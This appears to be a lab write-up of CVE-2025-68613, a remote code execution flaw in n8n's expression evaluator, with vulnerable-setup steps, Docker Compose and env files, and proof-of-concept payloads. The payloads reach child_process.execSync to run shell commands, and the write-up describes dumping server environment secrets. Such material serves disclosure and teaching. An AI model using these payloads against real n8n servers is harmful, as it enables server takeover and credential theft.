Executive Summary¶
| Vulnerability | Remote Code Execution via Expression Injection |
|---|---|
| CVE ID | CVE-2025-68613 |
| Severity |
Critical |
| CVSS Score | 9.9 / 10 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Affected versions | >= 0.211.0 < 1.120.4 |
| Patched versions |
1.120.4, 1.121.1, 1.122.0 |
| Weaknesses |
CWE-913 (Improper Control of Dynamically-Managed Code Resources) |
| Published Date | 12/19/2025 |
Impact¶
Recommendation¶
Technical¶
n8n is an open-source workflow automation tool that allows users to build and execute workflows composed of nodes (e.g., triggers, actions, and data manipulators).
A key feature is its expression system, which lets users embed dynamic JavaScript-like expressions within workflow configurations using double curly braces ({{ }}). These expressions are evaluated at runtime to compute values, such as transforming data or accessing node outputs.
However, CVE-2025-68613 exposes a critical flaw in how n8n handles this evaluation, leading to remote code execution (RCE) by authenticated users.
Danger
This vulnerability, assigned a CVSS score of 9.9 (Critical), affects n8n versions from 0.211.0 up to (but not including) the patched releases: 1.120.4, 1.121.1, and 1.122.0.
Note
Exploitation requires authentication (e.g., a valid user account) but no elevated privileges—just the ability to create or edit workflows.
In practice, this means an attacker logs in, builds a simple workflow, injects a malicious expression into a node and executes the step. The payload runs server-side during evaluation, potentially leading to full server compromise, data exfiltration, or lateral movement in the network.
Lab Setup¶
Example
After running the docker commands above, navigate to http://localhost:5678 on your browser and access the initial setup page.
Click next and customize n8n to your preference and click on get started.
This step is optional but if you prefer to receive a free lifetime activation key, add a valid email and request for licence key as shown:
Copy the license keys sent to your email and add it as shown below:
After successful activation, you will see a tag Registered as shown (1) alongside the Vulnerable version deployed (2)
Proof of Concept¶
On the main dashboard, click on Start from scratch to create a new workflow
Click on the + icon and select a manual trigger as shown:
After addin the manual trigger, search and add the Edit Fields (set) node
Click on the Add Field section selected:
Name you field payload or whatever you please.
A typical exploit inserted into a workflow might look like:
{
{
(function () {
return this.process.mainModule.require('child_process').execSync('id').toString();
}());
}
}
This payload:
- Uses
thisto reach the Node.js runtime. - Uses
process.mainModule.requireto dynamically importchild_process. - Executes a shell command like
id, capturing output. - Returns that output into the workflow.
Click execute and observe the output.
Environment Variable Disclosure¶
Assuming you are working with a production environment, it is also possible to leak
The IIFE uses this to access the global Node.js context, then returns process.env—an object containing all server environment variables, often including sensitive secrets like API keys, database passwords, encryption keys, and cloud credentials. When the workflow runs, n8n evaluates the expression server-side and displays the full leaked env object in the output pane, allowing an authenticated attacker to silently exfiltrate critical secrets with minimal effort and no command execution required.
Docker Compose file for production environment
# Create the n8n directory
mkdir -p n8n
cd n8n
# Create volumes
docker volume create db_storage_prod
docker volume create n8n_storage_prod
# Create networks (if they don't already exist)
docker network create frontend-prod
docker network create backend-prod
Copy and create the configs below in the n8n directory as shown:
services:
n8n_prod_ui:
image: n8nio/n8n:1.121.0
container_name: "n8n_prod_ui"
restart: unless-stopped
# ports:
# - 5678:5678
labels:
- "traefik.enable=true"
- "traefik.http.routers.n8n-prod.rule=Host(`n8n-prod.example.org`)"
- "traefik.http.routers.n8n-prod.entrypoints=https"
- "traefik.http.routers.n8n-prod.service=n8n-prod"
- "traefik.http.routers.n8n-prod.tls=true"
- "traefik.http.routers.n8n-prod.tls.certresolver=cloudflare"
- "traefik.http.services.n8n-prod.loadbalancer.server.port=5678"
environment:
- N8N_LOG_LEVEL
- N8N_LOG_OUTPUT
- N8N_LOG_FILE_LOCATION
- N8N_LOG_FILE_MAXSIZE
- N8N_LOG_FILE_MAXCOUNT
- N8N_PORT
- N8N_PROTOCOL
- NODE_ENV
- GENERIC_TIMEZONE
- N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS
- N8N_RUNNERS_ENABLED
- N8N_METRICS
- QUEUE_HEALTH_CHECK_ACTIVE
- N8N_ENCRYPTION_KEY
- N8N_SECURE_COOKIE
- WEBHOOK_URL
- N8N_PROTOCOL=https
- N8N_HOST=${SUBDOMAIN}.${DOMAIN_NAME}
- WEBHOOK_URL=https://${SUBDOMAIN}.${DOMAIN_NAME}/
volumes:
- n8n_storage_prod:/home/node/.n8n
links:
- n8n_prod_db
networks:
- frontend-prod
depends_on:
n8n_prod_db:
condition: service_healthy
n8n_prod_db:
image: postgres:16
container_name: "n8n_prod_db"
restart: unless-stopped
environment:
- POSTGRES_USER
- POSTGRES_PASSWORD
- POSTGRES_DB
- POSTGRES_NON_ROOT_USER
- POSTGRES_NON_ROOT_PASSWORD
networks:
- frontend-prod
- backend-prod
volumes:
- db_storage_prod:/var/lib/postgresql/data
- ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
healthcheck:
test: ['CMD-SHELL', 'pg_isready -h localhost -U ${POSTGRES_USER} -d ${POSTGRES_DB}']
interval: 5s
timeout: 5s
retries: 10
networks:
frontend-prod:
external: true
backend-prod:
external: true
volumes:
db_storage_prod:
n8n_storage_prod:
# The top level domain to serve from
DOMAIN_NAME=example.org
# The subdomain to serve from
SUBDOMAIN=n8n-prod
# DOMAIN_NAME and SUBDOMAIN combined decide where n8n will be reachable from
# above example would result in: https://n8n.example.com
# Optional timezone to set which gets used by Cron-Node by default
# If not set New York time will be used
GENERIC_TIMEZONE=Africa/Nairobi
POSTGRES_USER=analyst
POSTGRES_PASSWORD=5X##q%J3Qp%Qv*!966Tp%xz
POSTGRES_DB=n8n_dev
POSTGRES_NON_ROOT_USER=analyst
POSTGRES_NON_ROOT_PASSWORD=b8WbTHfqea&Y76nsG&N&H9K
N8N_LOG_LEVEL=info
N8N_LOG_OUTPUT=console,file
N8N_LOG_FILE_LOCATION=/home/node/n8n.log
N8N_LOG_FILE_MAXSIZE=25
N8N_LOG_FILE_MAXCOUNT=100
N8N_PORT=5678
N8N_PROTOCOL=http
NODE_ENV=production
N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=true
N8N_RUNNERS_ENABLED=true
N8N_METRICS=true
QUEUE_HEALTH_CHECK_ACTIVE=true
N8N_ENCRYPTION_KEY=dt!a*Y4S3UhSKiKjOJ*ZaN4
N8N_SECURE_COOKIE=false
WEBHOOK_URL=http://n8n-prod.example.org:5678/
#!/bin/bash
set -e;
if [ -n "${POSTGRES_NON_ROOT_USER:-}" ] && [ -n "${POSTGRES_NON_ROOT_PASSWORD:-}" ]; then
psql -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" <<-EOSQL
CREATE USER ${POSTGRES_NON_ROOT_USER} WITH PASSWORD '${POSTGRES_NON_ROOT_PASSWORD}';
GRANT ALL PRIVILEGES ON DATABASE ${POSTGRES_DB} TO ${POSTGRES_NON_ROOT_USER};
GRANT CREATE ON SCHEMA public TO ${POSTGRES_NON_ROOT_USER};
EOSQL
else
echo "SETUP INFO: No Environment variables given!"
fi
Beautified version:
Command Execution Test
{
{
(function () {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
}());
}
}
Click execute and observe the output.
Conclusion¶
References¶
- n8n CVE-2025-68613 RCE Exploitation: A Detailed Guide by SecureLayer7
- CVE-2025-68613: Critical RCE Vulnerability Disclosed in n8n Workflow Automation by SOCRadar
- Unpacking n8n RCE CVE-2025–68613 by Motasem Hamdan
- CVE-2025-68613-n8n-rce-analysis by Ak-cybe
- n8n RCE : CVE-2025-68613 · TryHackMe Walkthrough by RosanaFSS
- n8n - CVE-2025-68613: Improper Control of Dynamically-Managed Code Resources by wioui
- CVE-2025-68613 Detail by NVD